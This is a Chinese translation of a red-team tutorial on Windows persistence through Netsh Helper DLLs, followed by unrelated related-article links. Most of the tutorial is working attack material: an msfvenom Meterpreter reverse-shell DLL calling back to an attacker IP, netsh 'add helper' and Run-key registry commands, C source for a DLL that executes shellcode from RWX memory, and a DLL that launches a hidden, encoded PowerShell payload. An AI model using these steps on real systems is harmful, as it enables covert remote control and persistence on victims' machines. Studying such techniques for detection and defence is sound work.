Netsh是Windows实用程序,管理员可以使用它来执行与系统的网络配置有关的任务,并在基于主机的Windows防火墙上进行修改。可以通过使用DLL文件来扩展Netsh功能。此功能使红队可以使用此工具来加载任意DLL,以实现代码执行并因此实现持久性。但是,此技术的实现需要本地管理员级别的特权。

可以通过Metasploit Framework 的“ msfvenom ”实用程序生成任意DLL文件。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.21 LPORT=4444 -f dll > /tmp/pentestlab.dll

生成恶意DLL

可以通过Meterpreter的上载功能或命令和控制(C2)支持的任何其他文件传输功能将DLL文件传输到目标主机。

上载恶意DLL

“添加帮手”可以用来注册用的DLL “netsh的 ”实用工具。

netsh
add helper path-to-malicious-dll

添加助手DLL

每次netsh实用程序启动时,都会执行DLL,并且将建立通信。

Netsh Helper DLL – Meterpreter

但是,默认情况下,netsh没有计划自动启动。创建将在Windows启动期间执行实用程序的注册表项将在主机上创建持久性。这可以直接从Meterpreter会话或Windows Shell中完成。

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Windows\SysWOW64\netsh"
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run\\ -v pentestlab -d 'C:\Windows\SysWOW64\netsh'

创建注册表运行密钥

注册表运行键的替代方法是,可以使用多种其他方法来启动实用程序,例如创建服务或计划任务。

击败一家总部位于荷兰的IT安全公司,该公司率先在其Github存储库中发布概念证明DLL 。DLL是由Marc Smeets用C编写的,可以对其进行修改以包含自定义的shellcode。Metasploit Framework实用程序“ msfvenom ”可用于生成各种语言的shellcode。

msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp -b '\x00' -f c

C Shellcode – Netsh

可以将生成的shellcode注入到Netsh Helper DLL代码中。

#include <stdio.h>
#include <windows.h> // only required if you want to pop calc #ifdef _M_X64
unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb";
#else
unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb";
#endif // Start a separate thread so netsh remains useful.
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
LPVOID newMemory;
HANDLE currentProcess;
SIZE_T bytesWritten;
BOOL didWeCopy = FALSE;
// Get the current process handle
currentProcess = GetCurrentProcess();
// Allocate memory with Read+Write+Execute permissions
newMemory = VirtualAllocEx(currentProcess, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (newMemory == NULL)
return -1;
// Copy the shellcode into the memory we just created
didWeCopy = WriteProcessMemory(currentProcess, newMemory, (LPCVOID)&buf, sizeof(buf), &bytesWritten);
if (!didWeCopy)
return -2;
// Yay! Let's run our shellcode!
((void(*)())newMemory)();
return 1;
} // define the DLL handler 'InitHelpderDll' as required by netsh.
// See https://msdn.microsoft.com/en-us/library/windows/desktop/ms708327(v=vs.85).aspx
extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved)
{
//make a thread handler, start the function as a thread, and close the handler
HANDLE threadHandle;
threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
CloseHandle(threadHandle);
// simple testing by starting calculator
system ("start calc"); // return NO_ERROR is required. Here we are doing it the nasty way
return 0;
}

Netsh帮助程序DLL

与上述方法类似,rtcrowley在他的Github存储库中发布了该方法的PowerShell版本。以下代码可用于执行PowerShell Base64编码的有效负载,并支持两个选项。

#include <stdio.h>
#include <windows.h> DWORD WINAPI YahSure(LPVOID lpParameter)
{
//Option 1: Quick and simple. Opens 1 PS proc & briefly displays window. Set payload to b64 unicode.
system("start C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -win hidden -nonI -nopro -enc \
SQBmACgAJABQAFMAVgBlAHIAcwBJAE8AbgBUAEEAQgBsAGUALgBQAFMAVgBFAFIAcwBpAG8ATgAuACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA=="); //Option 2: Execute loaded b64 into a reg key value. Will spin up a few etra procs, but will not open an extra window.
//system("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c \
$x=((gp HKLM:SOFTWARE\\Microsoft\\Notepad debug).debug); \
powershell -nopro -enc $x 2> nul");
return 1; } //Custom netsh helper format
extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved)
{
HANDLE hand;
hand = CreateThread(NULL, 0, YahSure, NULL, 0, NULL);
CloseHandle(hand); return NO_ERROR;
}

Netsh Helper DLL – PowerShell方法

执行“ netsh ”实用程序并使用“ add helper ”命令加载系统中的两个DLL都将执行集成的有效负载。

netsh
add helper C:\Users\pentestlab\Desktop\NetshHelperBeacon.dll
add helper C:\Users\pentestlab\Desktop\NetshPowerShell.dll

Netsh助手DLL

Empire和Metasploit的“ multi / handler ”模块可用于接收来自两个DLL的通信。

Netsh助手DLL PowerShell

Netsh助手DLL Meterpreter

当执行“ 添加帮助程序 ”命令以加载DLL文件时,将在以下位置创建注册表项。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh

Netsh注册表项

应该注意的是,某些可能安装在受感染系统上的VPN客户端可能会自动“ netsh ” 启动,因此可能不需要使用其他方法进行持久化。

译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。

原文地址:https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/

Window权限维持(十):Netsh Helper DLL的更多相关文章

  1. window权限 及c++实现 【网摘】(转)

    from : http://blog.csdn.net/zipper9527/article/details/6256459 http://www.lihuasoft.net/article/show ...

  2. Window权限维持(六):BITS Jobs

    Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务.这些实用程序之一是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传输能力. ...

  3. Window权限维持(一):注册表运行键

    在红队行动中在网络中获得最初的立足点是一项耗时的任务.因此,持久性是红队成功运作的关键,这将使团队能够专注于目标,而不会失去与指挥和控制服务器的通信.在Windows登录期间创建将执行任意负载的注册表 ...

  4. Mysql-学习笔记(==》权限管理 十 三)

    -- 用户与权限管理-- 查看当前服务器上的所有账号密码主机SELECT USER,PASSWORD,HOST FROM mysql.user; -- 设置账号密码SET PASSWORD=PASSW ...

  5. Android破解学习之路(十六)—— dll破解的IL指令

    IL指令介绍 IL是.NET框架中中间语言(Intermediate Language)的缩写. 使用.NET框架提供的编译器可以直接将源程序编译为.exe或.dll文件,但此时编译出来的程序代码并不 ...

  6. DDD领域模型数据访问权限之权限(十二)

    实现权限的领域对象:BAS_Permission public partial class BAS_Permission:AggreateRoot { private IRepository<B ...

  7. DDD领域模型数据访问权限之用户权限(十)

    BAS_PRService岗位和角色服务: public class BAS_PRService { //岗位 private IRepository<BAS_Post> ireposit ...

  8. C#:使用Window自带函数(如:user32.dll)

    [DllImport("user32.dll", EntryPoint = "GetScrollInfo", CallingConvention = Calli ...

  9. Window权限维持(九):端口监视器

    后台打印程序服务负责管理Windows操作系统中的打印作业.与服务的交互通过打印后台处理程序API执行,该API包含一个函数(AddMonitor),可用于安装本地端口监视器并连接配置.数据和监视器文 ...

随机推荐

  1. TCP协议 - 可靠性

    在前篇文章中介绍了TCP协议的三大特性,其中可靠性是依赖一系列的机制,如:校验和,分组发送,超时重传,流量控制得到保证. 一.数据交互 TCP在交互数据时,采用多种机制保证可靠性,同时也保证TCP的性 ...

  2. .deb文件安装应该怎么做

    https://unix.stackexchange.com/questions/159094/how-to-install-a-deb-file-by-dpkg-i-or-by-apt

  3. GO Slice

    一.切片(Slice) 1.1 什么是切片 Go 语言切片是对数组的抽象. Go 数组的长度不可改变,在特定场景中这样的集合就不太适用,Go中提供了一种灵活,功能强悍的内置类型切片("动态数 ...

  4. Linux(ubuntu) 一行代码搞定查看文件目录

    ls 命令:• ls 是英文单词 list 的简写,其功能为列出目录的内容,是用户最常用的命令之一,类似于 DOS 下的 dir 命令 ls命令之后加各种参数的作用: ls -a 显示指定目录下所有子 ...

  5. [转]Eclipse插件开发之基础篇(6) SWT简介

    原文地址:http://www.cnblogs.com/liuzhuo/archive/2010/09/01/eclipse_plugin_1_3_1.html SWT(Standard Widget ...

  6. [Linux] deepin系统添加PHP仓库源出错Error: could not find a distribution template for Deepin/stable

    aptsources.distro.NoDistroTemplateException: Error: could not find a distribution template for Deepi ...

  7. 渗透测试学习 二十、 其他漏洞汇总之PHP相关漏洞

    大纲: PHP相关漏洞 JSP相关漏洞 其他漏洞汇总 PHP相关漏洞 文件包含漏洞 php://input等伪协议利用 代码执行漏洞 变量覆盖漏洞 文件包含漏洞 程序开发人员一般会把重复使用的函数写到 ...

  8. nginx代理ambassador出现426错误

    现在ambassador文档啃得差不多了.进入实战阶段. 一开始,就偶遇426错误. 网络结构大致如下: 浏览器访问nginx, nginx代理到k8s内的ambassador, ambassador ...

  9. 面向过程编程&面向对象编程

    面向过程编程 Procedure Oriented Programming C语言是面向过程编程的,面向过程编程主要使用顺序.条件选择.循环三种基本结构来编写程序. 顺序:按照时间轴顺序完成每个处理: ...

  10. 七,专著研读(Logistic回归)

    七,专著研读(Logistic回归) 分类:k-近邻算法,决策树,朴素贝叶斯,Logistic回归,支持向量机,AdaBoost算法. 运用 k-近邻算法,使用距离计算来实现分类 决策树,构建直观的树 ...